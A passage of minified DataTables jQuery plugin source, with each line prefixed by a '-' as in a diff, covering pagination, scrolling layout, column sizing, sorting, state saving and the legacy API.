-new Option(d[g],f[g]);var i=h("<div><label/></div>").addClass(b.sLength);a.aanFeatures.l||(i[0].id=c+"_length");i.children().append(a.oLanguage.sLengthMenu.replace("_MENU_",e[0].outerHTML));h("select",i).val(a._iDisplayLength).on("change.DT",function(){Ta(a,h(this).val());O(a)});h(a.nTable).on("length.dt.DT",function(b,c,d){a===c&&h("select",i).val(d)});return i[0]}function vb(a){var b=a.sPaginationType,c=m.ext.pager[b],d="function"===typeof c,e=function(a){O(a)},b=h("<div/>").addClass(a.oClasses.sPaging+

-b)[0],f=a.aanFeatures;d||c.fnInit(a,b,e);f.p||(b.id=a.sTableId+"_paginate",a.aoDrawCallback.push({fn:function(a){if(d){var b=a._iDisplayStart,i=a._iDisplayLength,h=a.fnRecordsDisplay(),l=-1===i,b=l?0:Math.ceil(b/i),i=l?1:Math.ceil(h/i),h=c(b,i),k,l=0;for(k=f.p.length;l<k;l++)Pa(a,"pageButton")(a,f.p[l],l,h,b,i)}else c.fnUpdate(a,e)},sName:"pagination"}));return b}function Va(a,b,c){var d=a._iDisplayStart,e=a._iDisplayLength,f=a.fnRecordsDisplay();0===f||-1===e?d=0:"number"===typeof b?(d=b*e,d>f&&

-(d=0)):"first"==b?d=0:"previous"==b?(d=0<=e?d-e:0,0>d&&(d=0)):"next"==b?d+e<f&&(d+=e):"last"==b?d=Math.floor((f-1)/e)*e:K(a,0,"Unknown paging action: "+b,5);b=a._iDisplayStart!==d;a._iDisplayStart=d;b&&(s(a,null,"page",[a]),c&&O(a));return b}function sb(a){return h("<div/>",{id:!a.aanFeatures.r?a.sTableId+"_processing":null,"class":a.oClasses.sProcessing}).html(a.oLanguage.sProcessing).insertBefore(a.nTable)[0]}function C(a,b){a.oFeatures.bProcessing&&h(a.aanFeatures.r).css("display",b?"block":"none");

-s(a,null,"processing",[a,b])}function tb(a){var b=h(a.nTable);b.attr("role","grid");var c=a.oScroll;if(""===c.sX&&""===c.sY)return a.nTable;var d=c.sX,e=c.sY,f=a.oClasses,g=b.children("caption"),j=g.length?g[0]._captionSide:null,i=h(b[0].cloneNode(!1)),n=h(b[0].cloneNode(!1)),l=b.children("tfoot");l.length||(l=null);i=h("<div/>",{"class":f.sScrollWrapper}).append(h("<div/>",{"class":f.sScrollHead}).css({overflow:"hidden",position:"relative",border:0,width:d?!d?null:v(d):"100%"}).append(h("<div/>",

-{"class":f.sScrollHeadInner}).css({"box-sizing":"content-box",width:c.sXInner||"100%"}).append(i.removeAttr("id").css("margin-left",0).append("top"===j?g:null).append(b.children("thead"))))).append(h("<div/>",{"class":f.sScrollBody}).css({position:"relative",overflow:"auto",width:!d?null:v(d)}).append(b));l&&i.append(h("<div/>",{"class":f.sScrollFoot}).css({overflow:"hidden",border:0,width:d?!d?null:v(d):"100%"}).append(h("<div/>",{"class":f.sScrollFootInner}).append(n.removeAttr("id").css("margin-left",

-0).append("bottom"===j?g:null).append(b.children("tfoot")))));var b=i.children(),k=b[0],f=b[1],r=l?b[2]:null;if(d)h(f).on("scroll.DT",function(){var a=this.scrollLeft;k.scrollLeft=a;l&&(r.scrollLeft=a)});h(f).css(e&&c.bCollapse?"max-height":"height",e);a.nScrollHead=k;a.nScrollBody=f;a.nScrollFoot=r;a.aoDrawCallback.push({fn:ma,sName:"scrolling"});return i[0]}function ma(a){var b=a.oScroll,c=b.sX,d=b.sXInner,e=b.sY,b=b.iBarWidth,f=h(a.nScrollHead),g=f[0].style,j=f.children("div"),i=j[0].style,n=j.children("table"),

-j=a.nScrollBody,l=h(j),q=j.style,r=h(a.nScrollFoot).children("div"),m=r.children("table"),p=h(a.nTHead),o=h(a.nTable),u=o[0],s=u.style,t=a.nTFoot?h(a.nTFoot):null,x=a.oBrowser,U=x.bScrollOversize,ac=D(a.aoColumns,"nTh"),P,L,Q,w,Wa=[],y=[],z=[],A=[],B,C=function(a){a=a.style;a.paddingTop="0";a.paddingBottom="0";a.borderTopWidth="0";a.borderBottomWidth="0";a.height=0};L=j.scrollHeight>j.clientHeight;if(a.scrollBarVis!==L&&a.scrollBarVis!==k)a.scrollBarVis=L,Z(a);else{a.scrollBarVis=L;o.children("thead, tfoot").remove();

-t&&(Q=t.clone().prependTo(o),P=t.find("tr"),Q=Q.find("tr"));w=p.clone().prependTo(o);p=p.find("tr");L=w.find("tr");w.find("th, td").removeAttr("tabindex");c||(q.width="100%",f[0].style.width="100%");h.each(ta(a,w),function(b,c){B=$(a,b);c.style.width=a.aoColumns[B].sWidth});t&&I(function(a){a.style.width=""},Q);f=o.outerWidth();if(""===c){s.width="100%";if(U&&(o.find("tbody").height()>j.offsetHeight||"scroll"==l.css("overflow-y")))s.width=v(o.outerWidth()-b);f=o.outerWidth()}else""!==d&&(s.width=

-v(d),f=o.outerWidth());I(C,L);I(function(a){z.push(a.innerHTML);Wa.push(v(h(a).css("width")))},L);I(function(a,b){if(h.inArray(a,ac)!==-1)a.style.width=Wa[b]},p);h(L).height(0);t&&(I(C,Q),I(function(a){A.push(a.innerHTML);y.push(v(h(a).css("width")))},Q),I(function(a,b){a.style.width=y[b]},P),h(Q).height(0));I(function(a,b){a.innerHTML='<div class="dataTables_sizing" style="height:0;overflow:hidden;">'+z[b]+"</div>";a.style.width=Wa[b]},L);t&&I(function(a,b){a.innerHTML='<div class="dataTables_sizing" style="height:0;overflow:hidden;">'+

-A[b]+"</div>";a.style.width=y[b]},Q);if(o.outerWidth()<f){P=j.scrollHeight>j.offsetHeight||"scroll"==l.css("overflow-y")?f+b:f;if(U&&(j.scrollHeight>j.offsetHeight||"scroll"==l.css("overflow-y")))s.width=v(P-b);(""===c||""!==d)&&K(a,1,"Possible column misalignment",6)}else P="100%";q.width=v(P);g.width=v(P);t&&(a.nScrollFoot.style.width=v(P));!e&&U&&(q.height=v(u.offsetHeight+b));c=o.outerWidth();n[0].style.width=v(c);i.width=v(c);d=o.height()>j.clientHeight||"scroll"==l.css("overflow-y");e="padding"+

-(x.bScrollbarLeft?"Left":"Right");i[e]=d?b+"px":"0px";t&&(m[0].style.width=v(c),r[0].style.width=v(c),r[0].style[e]=d?b+"px":"0px");o.children("colgroup").insertBefore(o.children("thead"));l.scroll();if((a.bSorted||a.bFiltered)&&!a._drawHold)j.scrollTop=0}}function I(a,b,c){for(var d=0,e=0,f=b.length,g,j;e<f;){g=b[e].firstChild;for(j=c?c[e].firstChild:null;g;)1===g.nodeType&&(c?a(g,j,d):a(g,d),d++),g=g.nextSibling,j=c?j.nextSibling:null;e++}}function Ha(a){var b=a.nTable,c=a.aoColumns,d=a.oScroll,

-e=d.sY,f=d.sX,g=d.sXInner,j=c.length,i=na(a,"bVisible"),n=h("th",a.nTHead),l=b.getAttribute("width"),k=b.parentNode,r=!1,m,p,o=a.oBrowser,d=o.bScrollOversize;(m=b.style.width)&&-1!==m.indexOf("%")&&(l=m);for(m=0;m<i.length;m++)p=c[i[m]],null!==p.sWidth&&(p.sWidth=Gb(p.sWidthOrig,k),r=!0);if(d||!r&&!f&&!e&&j==ba(a)&&j==n.length)for(m=0;m<j;m++)i=$(a,m),null!==i&&(c[i].sWidth=v(n.eq(m).width()));else{j=h(b).clone().css("visibility","hidden").removeAttr("id");j.find("tbody tr").remove();var u=h("<tr/>").appendTo(j.find("tbody"));

-j.find("thead, tfoot").remove();j.append(h(a.nTHead).clone()).append(h(a.nTFoot).clone());j.find("tfoot th, tfoot td").css("width","");n=ta(a,j.find("thead")[0]);for(m=0;m<i.length;m++)p=c[i[m]],n[m].style.width=null!==p.sWidthOrig&&""!==p.sWidthOrig?v(p.sWidthOrig):"",p.sWidthOrig&&f&&h(n[m]).append(h("<div/>").css({width:p.sWidthOrig,margin:0,padding:0,border:0,height:1}));if(a.aoData.length)for(m=0;m<i.length;m++)r=i[m],p=c[r],h(Hb(a,r)).clone(!1).append(p.sContentPadding).appendTo(u);h("[name]",

-j).removeAttr("name");p=h("<div/>").css(f||e?{position:"absolute",top:0,left:0,height:1,right:0,overflow:"hidden"}:{}).append(j).appendTo(k);f&&g?j.width(g):f?(j.css("width","auto"),j.removeAttr("width"),j.width()<k.clientWidth&&l&&j.width(k.clientWidth)):e?j.width(k.clientWidth):l&&j.width(l);for(m=e=0;m<i.length;m++)k=h(n[m]),g=k.outerWidth()-k.width(),k=o.bBounding?Math.ceil(n[m].getBoundingClientRect().width):k.outerWidth(),e+=k,c[i[m]].sWidth=v(k-g);b.style.width=v(e);p.remove()}l&&(b.style.width=

-v(l));if((l||f)&&!a._reszEvt)b=function(){h(E).on("resize.DT-"+a.sInstance,Qa(function(){Z(a)}))},d?setTimeout(b,1E3):b(),a._reszEvt=!0}function Gb(a,b){if(!a)return 0;var c=h("<div/>").css("width",v(a)).appendTo(b||H.body),d=c[0].offsetWidth;c.remove();return d}function Hb(a,b){var c=Ib(a,b);if(0>c)return null;var d=a.aoData[c];return!d.nTr?h("<td/>").html(B(a,c,b,"display"))[0]:d.anCells[b]}function Ib(a,b){for(var c,d=-1,e=-1,f=0,g=a.aoData.length;f<g;f++)c=B(a,f,b,"display")+"",c=c.replace(bc,

-""),c=c.replace(/&nbsp;/g," "),c.length>d&&(d=c.length,e=f);return e}function v(a){return null===a?"0px":"number"==typeof a?0>a?"0px":a+"px":a.match(/\d$/)?a+"px":a}function W(a){var b,c,d=[],e=a.aoColumns,f,g,j,i;b=a.aaSortingFixed;c=h.isPlainObject(b);var n=[];f=function(a){a.length&&!h.isArray(a[0])?n.push(a):h.merge(n,a)};h.isArray(b)&&f(b);c&&b.pre&&f(b.pre);f(a.aaSorting);c&&b.post&&f(b.post);for(a=0;a<n.length;a++){i=n[a][0];f=e[i].aDataSort;b=0;for(c=f.length;b<c;b++)g=f[b],j=e[g].sType||

-"string",n[a]._idx===k&&(n[a]._idx=h.inArray(n[a][1],e[g].asSorting)),d.push({src:i,col:g,dir:n[a][1],index:n[a]._idx,type:j,formatter:m.ext.type.order[j+"-pre"]})}return d}function ob(a){var b,c,d=[],e=m.ext.type.order,f=a.aoData,g=0,j,i=a.aiDisplayMaster,h;Ia(a);h=W(a);b=0;for(c=h.length;b<c;b++)j=h[b],j.formatter&&g++,Jb(a,j.col);if("ssp"!=y(a)&&0!==h.length){b=0;for(c=i.length;b<c;b++)d[i[b]]=b;g===h.length?i.sort(function(a,b){var c,e,g,j,i=h.length,k=f[a]._aSortData,m=f[b]._aSortData;for(g=

-0;g<i;g++)if(j=h[g],c=k[j.col],e=m[j.col],c=c<e?-1:c>e?1:0,0!==c)return"asc"===j.dir?c:-c;c=d[a];e=d[b];return c<e?-1:c>e?1:0}):i.sort(function(a,b){var c,g,j,i,k=h.length,m=f[a]._aSortData,p=f[b]._aSortData;for(j=0;j<k;j++)if(i=h[j],c=m[i.col],g=p[i.col],i=e[i.type+"-"+i.dir]||e["string-"+i.dir],c=i(c,g),0!==c)return c;c=d[a];g=d[b];return c<g?-1:c>g?1:0})}a.bSorted=!0}function Kb(a){for(var b,c,d=a.aoColumns,e=W(a),a=a.oLanguage.oAria,f=0,g=d.length;f<g;f++){c=d[f];var j=c.asSorting;b=c.sTitle.replace(/<.*?>/g,

-"");var i=c.nTh;i.removeAttribute("aria-sort");c.bSortable&&(0<e.length&&e[0].col==f?(i.setAttribute("aria-sort","asc"==e[0].dir?"ascending":"descending"),c=j[e[0].index+1]||j[0]):c=j[0],b+="asc"===c?a.sSortAscending:a.sSortDescending);i.setAttribute("aria-label",b)}}function Xa(a,b,c,d){var e=a.aaSorting,f=a.aoColumns[b].asSorting,g=function(a,b){var c=a._idx;c===k&&(c=h.inArray(a[1],f));return c+1<f.length?c+1:b?null:0};"number"===typeof e[0]&&(e=a.aaSorting=[e]);c&&a.oFeatures.bSortMulti?(c=h.inArray(b,

-D(e,"0")),-1!==c?(b=g(e[c],!0),null===b&&1===e.length&&(b=0),null===b?e.splice(c,1):(e[c][1]=f[b],e[c]._idx=b)):(e.push([b,f[0],0]),e[e.length-1]._idx=0)):e.length&&e[0][0]==b?(b=g(e[0]),e.length=1,e[0][1]=f[b],e[0]._idx=b):(e.length=0,e.push([b,f[0]]),e[0]._idx=0);T(a);"function"==typeof d&&d(a)}function Oa(a,b,c,d){var e=a.aoColumns[c];Ya(b,{},function(b){!1!==e.bSortable&&(a.oFeatures.bProcessing?(C(a,!0),setTimeout(function(){Xa(a,c,b.shiftKey,d);"ssp"!==y(a)&&C(a,!1)},0)):Xa(a,c,b.shiftKey,d))})}

-function ya(a){var b=a.aLastSort,c=a.oClasses.sSortColumn,d=W(a),e=a.oFeatures,f,g;if(e.bSort&&e.bSortClasses){e=0;for(f=b.length;e<f;e++)g=b[e].src,h(D(a.aoData,"anCells",g)).removeClass(c+(2>e?e+1:3));e=0;for(f=d.length;e<f;e++)g=d[e].src,h(D(a.aoData,"anCells",g)).addClass(c+(2>e?e+1:3))}a.aLastSort=d}function Jb(a,b){var c=a.aoColumns[b],d=m.ext.order[c.sSortDataType],e;d&&(e=d.call(a.oInstance,a,b,aa(a,b)));for(var f,g=m.ext.type.order[c.sType+"-pre"],j=0,i=a.aoData.length;j<i;j++)if(c=a.aoData[j],

-c._aSortData||(c._aSortData=[]),!c._aSortData[b]||d)f=d?e[j]:B(a,j,b,"sort"),c._aSortData[b]=g?g(f):f}function za(a){if(a.oFeatures.bStateSave&&!a.bDestroying){var b={time:+new Date,start:a._iDisplayStart,length:a._iDisplayLength,order:h.extend(!0,[],a.aaSorting),search:Cb(a.oPreviousSearch),columns:h.map(a.aoColumns,function(b,d){return{visible:b.bVisible,search:Cb(a.aoPreSearchCols[d])}})};s(a,"aoStateSaveParams","stateSaveParams",[a,b]);a.oSavedState=b;a.fnStateSaveCallback.call(a.oInstance,a,

-b)}}function Lb(a,b,c){var d,e,f=a.aoColumns,b=function(b){if(b&&b.time){var i=s(a,"aoStateLoadParams","stateLoadParams",[a,g]);if(-1===h.inArray(!1,i)&&(i=a.iStateDuration,!(0<i&&b.time<+new Date-1E3*i)&&!(b.columns&&f.length!==b.columns.length))){a.oLoadedState=h.extend(!0,{},g);b.start!==k&&(a._iDisplayStart=b.start,a.iInitDisplayStart=b.start);b.length!==k&&(a._iDisplayLength=b.length);b.order!==k&&(a.aaSorting=[],h.each(b.order,function(b,c){a.aaSorting.push(c[0]>=f.length?[0,c[1]]:c)}));b.search!==

-k&&h.extend(a.oPreviousSearch,Db(b.search));if(b.columns){d=0;for(e=b.columns.length;d<e;d++)i=b.columns[d],i.visible!==k&&(f[d].bVisible=i.visible),i.search!==k&&h.extend(a.aoPreSearchCols[d],Db(i.search))}s(a,"aoStateLoaded","stateLoaded",[a,g])}}c()};if(a.oFeatures.bStateSave){var g=a.fnStateLoadCallback.call(a.oInstance,a,b);g!==k&&b(g)}else c()}function Aa(a){var b=m.settings,a=h.inArray(a,D(b,"nTable"));return-1!==a?b[a]:null}function K(a,b,c,d){c="DataTables warning: "+(a?"table id="+a.sTableId+

-" - ":"")+c;d&&(c+=". For more information about this error, please see http://datatables.net/tn/"+d);if(b)E.console&&console.log&&console.log(c);else if(b=m.ext,b=b.sErrMode||b.errMode,a&&s(a,null,"error",[a,d,c]),"alert"==b)alert(c);else{if("throw"==b)throw Error(c);"function"==typeof b&&b(a,d,c)}}function F(a,b,c,d){h.isArray(c)?h.each(c,function(c,d){h.isArray(d)?F(a,b,d[0],d[1]):F(a,b,d)}):(d===k&&(d=c),b[c]!==k&&(a[d]=b[c]))}function Mb(a,b,c){var d,e;for(e in b)b.hasOwnProperty(e)&&(d=b[e],

-h.isPlainObject(d)?(h.isPlainObject(a[e])||(a[e]={}),h.extend(!0,a[e],d)):a[e]=c&&"data"!==e&&"aaData"!==e&&h.isArray(d)?d.slice():d);return a}function Ya(a,b,c){h(a).on("click.DT",b,function(b){a.blur();c(b)}).on("keypress.DT",b,function(a){13===a.which&&(a.preventDefault(),c(a))}).on("selectstart.DT",function(){return!1})}function z(a,b,c,d){c&&a[b].push({fn:c,sName:d})}function s(a,b,c,d){var e=[];b&&(e=h.map(a[b].slice().reverse(),function(b){return b.fn.apply(a.oInstance,d)}));null!==c&&(b=h.Event(c+

-".dt"),h(a.nTable).trigger(b,d),e.push(b.result));return e}function Ua(a){var b=a._iDisplayStart,c=a.fnDisplayEnd(),d=a._iDisplayLength;b>=c&&(b=c-d);b-=b%d;if(-1===d||0>b)b=0;a._iDisplayStart=b}function Pa(a,b){var c=a.renderer,d=m.ext.renderer[b];return h.isPlainObject(c)&&c[b]?d[c[b]]||d._:"string"===typeof c?d[c]||d._:d._}function y(a){return a.oFeatures.bServerSide?"ssp":a.ajax||a.sAjaxSource?"ajax":"dom"}function ia(a,b){var c=[],c=Nb.numbers_length,d=Math.floor(c/2);b<=c?c=X(0,b):a<=d?(c=X(0,

-c-2),c.push("ellipsis"),c.push(b-1)):(a>=b-1-d?c=X(b-(c-2),b):(c=X(a-d+2,a+d-1),c.push("ellipsis"),c.push(b-1)),c.splice(0,0,"ellipsis"),c.splice(0,0,0));c.DT_el="span";return c}function fb(a){h.each({num:function(b){return Ba(b,a)},"num-fmt":function(b){return Ba(b,a,Za)},"html-num":function(b){return Ba(b,a,Ca)},"html-num-fmt":function(b){return Ba(b,a,Ca,Za)}},function(b,c){x.type.order[b+a+"-pre"]=c;b.match(/^html\-/)&&(x.type.search[b+a]=x.type.search.html)})}function Ob(a){return function(){var b=

-[Aa(this[m.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return m.ext.internal[a].apply(this,b)}}var m=function(a){this.$=function(a,b){return this.api(!0).$(a,b)};this._=function(a,b){return this.api(!0).rows(a,b).data()};this.api=function(a){return a?new u(Aa(this[x.iApiIndex])):new u(this)};this.fnAddData=function(a,b){var c=this.api(!0),d=h.isArray(a)&&(h.isArray(a[0])||h.isPlainObject(a[0]))?c.rows.add(a):c.row.add(a);(b===k||b)&&c.draw();return d.flatten().toArray()};this.fnAdjustColumnSizing=

-function(a){var b=this.api(!0).columns.adjust(),c=b.settings()[0],d=c.oScroll;a===k||a?b.draw(!1):(""!==d.sX||""!==d.sY)&&ma(c)};this.fnClearTable=function(a){var b=this.api(!0).clear();(a===k||a)&&b.draw()};this.fnClose=function(a){this.api(!0).row(a).child.hide()};this.fnDeleteRow=function(a,b,c){var d=this.api(!0),a=d.rows(a),e=a.settings()[0],h=e.aoData[a[0][0]];a.remove();b&&b.call(this,e,h);(c===k||c)&&d.draw();return h};this.fnDestroy=function(a){this.api(!0).destroy(a)};this.fnDraw=function(a){this.api(!0).draw(a)};

-this.fnFilter=function(a,b,c,d,e,h){e=this.api(!0);null===b||b===k?e.search(a,c,d,h):e.column(b).search(a,c,d,h);e.draw()};this.fnGetData=function(a,b){var c=this.api(!0);if(a!==k){var d=a.nodeName?a.nodeName.toLowerCase():"";return b!==k||"td"==d||"th"==d?c.cell(a,b).data():c.row(a).data()||null}return c.data().toArray()};this.fnGetNodes=function(a){var b=this.api(!0);return a!==k?b.row(a).node():b.rows().nodes().flatten().toArray()};this.fnGetPosition=function(a){var b=this.api(!0),c=a.nodeName.toUpperCase();

-return"TR"==c?b.row(a).index():"TD"==c||"TH"==c?(a=b.cell(a).index(),[a.row,a.columnVisible,a.column]):null};this.fnIsOpen=function(a){return this.api(!0).row(a).child.isShown()};this.fnOpen=function(a,b,c){return this.api(!0).row(a).child(b,c).show().child()[0]};this.fnPageChange=function(a,b){var c=this.api(!0).page(a);(b===k||b)&&c.draw(!1)};this.fnSetColumnVis=function(a,b,c){a=this.api(!0).column(a).visible(b);(c===k||c)&&a.columns.adjust().draw()};this.fnSettings=function(){return Aa(this[x.iApiIndex])};

-this.fnSort=function(a){this.api(!0).order(a).draw()};this.fnSortListener=function(a,b,c){this.api(!0).order.listener(a,b,c)};this.fnUpdate=function(a,b,c,d,e){var h=this.api(!0);c===k||null===c?h.row(b).data(a):h.cell(b,c).data(a);(e===k||e)&&h.columns.adjust();(d===k||d)&&h.draw();return 0};this.fnVersionCheck=x.fnVersionCheck;var b=this,c=a===k,d=this.length;c&&(a={});this.oApi=this.internal=x.internal;for(var e in m.ext.internal)e&&(this[e]=Ob(e));this.each(function(){var e={},g=1<d?Mb(e,a,!0):

-a,j=0,i,e=this.getAttribute("id"),n=!1,l=m.defaults,q=h(this);if("table"!=this.nodeName.toLowerCase())K(null,0,"Non-table node initialisation ("+this.nodeName+")",2);else{gb(l);hb(l.column);J(l,l,!0);J(l.column,l.column,!0);J(l,h.extend(g,q.data()));var r=m.settings,j=0;for(i=r.length;j<i;j++){var p=r[j];if(p.nTable==this||p.nTHead.parentNode==this||p.nTFoot&&p.nTFoot.parentNode==this){var u=g.bRetrieve!==k?g.bRetrieve:l.bRetrieve;if(c||u)return p.oInstance;if(g.bDestroy!==k?g.bDestroy:l.bDestroy){p.oInstance.fnDestroy();

-break}else{K(p,0,"Cannot reinitialise DataTable",3);return}}if(p.sTableId==this.id){r.splice(j,1);break}}if(null===e||""===e)this.id=e="DataTables_Table_"+m.ext._unique++;var o=h.extend(!0,{},m.models.oSettings,{sDestroyWidth:q[0].style.width,sInstance:e,sTableId:e});o.nTable=this;o.oApi=b.internal;o.oInit=g;r.push(o);o.oInstance=1===b.length?b:q.dataTable();gb(g);g.oLanguage&&Fa(g.oLanguage);g.aLengthMenu&&!g.iDisplayLength&&(g.iDisplayLength=h.isArray(g.aLengthMenu[0])?g.aLengthMenu[0][0]:g.aLengthMenu[0]);

-g=Mb(h.extend(!0,{},l),g);F(o.oFeatures,g,"bPaginate bLengthChange bFilter bSort bSortMulti bInfo bProcessing bAutoWidth bSortClasses bServerSide bDeferRender".split(" "));F(o,g,["asStripeClasses","ajax","fnServerData","fnFormatNumber","sServerMethod","aaSorting","aaSortingFixed","aLengthMenu","sPaginationType","sAjaxSource","sAjaxDataProp","iStateDuration","sDom","bSortCellsTop","iTabIndex","fnStateLoadCallback","fnStateSaveCallback","renderer","searchDelay","rowId",["iCookieDuration","iStateDuration"],

-["oSearch","oPreviousSearch"],["aoSearchCols","aoPreSearchCols"],["iDisplayLength","_iDisplayLength"],["bJQueryUI","bJUI"]]);F(o.oScroll,g,[["sScrollX","sX"],["sScrollXInner","sXInner"],["sScrollY","sY"],["bScrollCollapse","bCollapse"]]);F(o.oLanguage,g,"fnInfoCallback");z(o,"aoDrawCallback",g.fnDrawCallback,"user");z(o,"aoServerParams",g.fnServerParams,"user");z(o,"aoStateSaveParams",g.fnStateSaveParams,"user");z(o,"aoStateLoadParams",g.fnStateLoadParams,"user");z(o,"aoStateLoaded",g.fnStateLoaded,

-"user");z(o,"aoRowCallback",g.fnRowCallback,"user");z(o,"aoRowCreatedCallback",g.fnCreatedRow,"user");z(o,"aoHeaderCallback",g.fnHeaderCallback,"user");z(o,"aoFooterCallback",g.fnFooterCallback,"user");z(o,"aoInitComplete",g.fnInitComplete,"user");z(o,"aoPreDrawCallback",g.fnPreDrawCallback,"user");o.rowIdFn=R(g.rowId);ib(o);var t=o.oClasses;g.bJQueryUI?(h.extend(t,m.ext.oJUIClasses,g.oClasses),g.sDom===l.sDom&&"lfrtip"===l.sDom&&(o.sDom='<"H"lfr>t<"F"ip>'),o.renderer)?h.isPlainObject(o.renderer)&&

-!o.renderer.header&&(o.renderer.header="jqueryui"):o.renderer="jqueryui":h.extend(t,m.ext.classes,g.oClasses);q.addClass(t.sTable);o.iInitDisplayStart===k&&(o.iInitDisplayStart=g.iDisplayStart,o._iDisplayStart=g.iDisplayStart);null!==g.iDeferLoading&&(o.bDeferLoading=!0,e=h.isArray(g.iDeferLoading),o._iRecordsDisplay=e?g.iDeferLoading[0]:g.iDeferLoading,o._iRecordsTotal=e?g.iDeferLoading[1]:g.iDeferLoading);var v=o.oLanguage;h.extend(!0,v,g.oLanguage);v.sUrl&&(h.ajax({dataType:"json",url:v.sUrl,success:function(a){Fa(a);

-J(l.oLanguage,a);h.extend(true,v,a);ha(o)},error:function(){ha(o)}}),n=!0);null===g.asStripeClasses&&(o.asStripeClasses=[t.sStripeOdd,t.sStripeEven]);var e=o.asStripeClasses,x=q.children("tbody").find("tr").eq(0);-1!==h.inArray(!0,h.map(e,function(a){return x.hasClass(a)}))&&(h("tbody tr",this).removeClass(e.join(" ")),o.asDestroyStripes=e.slice());e=[];r=this.getElementsByTagName("thead");0!==r.length&&(ea(o.aoHeader,r[0]),e=ta(o));if(null===g.aoColumns){r=[];j=0;for(i=e.length;j<i;j++)r.push(null)}else r=

-g.aoColumns;j=0;for(i=r.length;j<i;j++)Ga(o,e?e[j]:null);kb(o,g.aoColumnDefs,r,function(a,b){la(o,a,b)});if(x.length){var w=function(a,b){return a.getAttribute("data-"+b)!==null?b:null};h(x[0]).children("th, td").each(function(a,b){var c=o.aoColumns[a];if(c.mData===a){var d=w(b,"sort")||w(b,"order"),e=w(b,"filter")||w(b,"search");if(d!==null||e!==null){c.mData={_:a+".display",sort:d!==null?a+".@data-"+d:k,type:d!==null?a+".@data-"+d:k,filter:e!==null?a+".@data-"+e:k};la(o,a)}}})}var U=o.oFeatures,

-e=function(){if(g.aaSorting===k){var a=o.aaSorting;j=0;for(i=a.length;j<i;j++)a[j][1]=o.aoColumns[j].asSorting[0]}ya(o);U.bSort&&z(o,"aoDrawCallback",function(){if(o.bSorted){var a=W(o),b={};h.each(a,function(a,c){b[c.src]=c.dir});s(o,null,"order",[o,a,b]);Kb(o)}});z(o,"aoDrawCallback",function(){(o.bSorted||y(o)==="ssp"||U.bDeferRender)&&ya(o)},"sc");var a=q.children("caption").each(function(){this._captionSide=h(this).css("caption-side")}),b=q.children("thead");b.length===0&&(b=h("<thead/>").appendTo(q));

-o.nTHead=b[0];b=q.children("tbody");b.length===0&&(b=h("<tbody/>").appendTo(q));o.nTBody=b[0];b=q.children("tfoot");if(b.length===0&&a.length>0&&(o.oScroll.sX!==""||o.oScroll.sY!==""))b=h("<tfoot/>").appendTo(q);if(b.length===0||b.children().length===0)q.addClass(t.sNoFooter);else if(b.length>0){o.nTFoot=b[0];ea(o.aoFooter,o.nTFoot)}if(g.aaData)for(j=0;j<g.aaData.length;j++)N(o,g.aaData[j]);else(o.bDeferLoading||y(o)=="dom")&&oa(o,h(o.nTBody).children("tr"));o.aiDisplay=o.aiDisplayMaster.slice();

-o.bInitialised=true;n===false&&ha(o)};g.bStateSave?(U.bStateSave=!0,z(o,"aoDrawCallback",za,"state_save"),Lb(o,g,e)):e()}});b=null;return this},x,u,p,t,$a={},Pb=/[\r\n]/g,Ca=/<.*?>/g,cc=/^\d{2,4}[\.\/\-]\d{1,2}[\.\/\-]\d{1,2}([T ]{1}\d{1,2}[:\.]\d{2}([\.:]\d{2})?)?$/,dc=RegExp("(\\/|\\.|\\*|\\+|\\?|\\||\\(|\\)|\\[|\\]|\\{|\\}|\\\\|\\$|\\^|\\-)","g"),Za=/[',$£€¥%\u2009\u202F\u20BD\u20a9\u20BArfk]/gi,M=function(a){return!a||!0===a||"-"===a?!0:!1},Qb=function(a){var b=parseInt(a,10);return!isNaN(b)&&

-isFinite(a)?b:null},Rb=function(a,b){$a[b]||($a[b]=RegExp(Sa(b),"g"));return"string"===typeof a&&"."!==b?a.replace(/\./g,"").replace($a[b],"."):a},ab=function(a,b,c){var d="string"===typeof a;if(M(a))return!0;b&&d&&(a=Rb(a,b));c&&d&&(a=a.replace(Za,""));return!isNaN(parseFloat(a))&&isFinite(a)},Sb=function(a,b,c){return M(a)?!0:!(M(a)||"string"===typeof a)?null:ab(a.replace(Ca,""),b,c)?!0:null},D=function(a,b,c){var d=[],e=0,f=a.length;if(c!==k)for(;e<f;e++)a[e]&&a[e][b]&&d.push(a[e][b][c]);else for(;e<

-f;e++)a[e]&&d.push(a[e][b]);return d},ja=function(a,b,c,d){var e=[],f=0,g=b.length;if(d!==k)for(;f<g;f++)a[b[f]][c]&&e.push(a[b[f]][c][d]);else for(;f<g;f++)e.push(a[b[f]][c]);return e},X=function(a,b){var c=[],d;b===k?(b=0,d=a):(d=b,b=a);for(var e=b;e<d;e++)c.push(e);return c},Tb=function(a){for(var b=[],c=0,d=a.length;c<d;c++)a[c]&&b.push(a[c]);return b},sa=function(a){var b=[],c,d,e=a.length,f,g=0;d=0;a:for(;d<e;d++){c=a[d];for(f=0;f<g;f++)if(b[f]===c)continue a;b.push(c);g++}return b};m.util=

-{throttle:function(a,b){var c=b!==k?b:200,d,e;return function(){var b=this,g=+new Date,h=arguments;d&&g<d+c?(clearTimeout(e),e=setTimeout(function(){d=k;a.apply(b,h)},c)):(d=g,a.apply(b,h))}},escapeRegex:function(a){return a.replace(dc,"\\$1")}};var A=function(a,b,c){a[b]!==k&&(a[c]=a[b])},ca=/\[.*?\]$/,V=/\(\)$/,Sa=m.util.escapeRegex,xa=h("<div>")[0],$b=xa.textContent!==k,bc=/<.*?>/g,Qa=m.util.throttle,Ub=[],w=Array.prototype,ec=function(a){var b,c,d=m.settings,e=h.map(d,function(a){return a.nTable});

-if(a){if(a.nTable&&a.oApi)return[a];if(a.nodeName&&"table"===a.nodeName.toLowerCase())return b=h.inArray(a,e),-1!==b?[d[b]]:null;if(a&&"function"===typeof a.settings)return a.settings().toArray();"string"===typeof a?c=h(a):a instanceof h&&(c=a)}else return[];if(c)return c.map(function(){b=h.inArray(this,e);return-1!==b?d[b]:null}).toArray()};u=function(a,b){if(!(this instanceof u))return new u(a,b);var c=[],d=function(a){(a=ec(a))&&(c=c.concat(a))};if(h.isArray(a))for(var e=0,f=a.length;e<f;e++)d(a[e]);

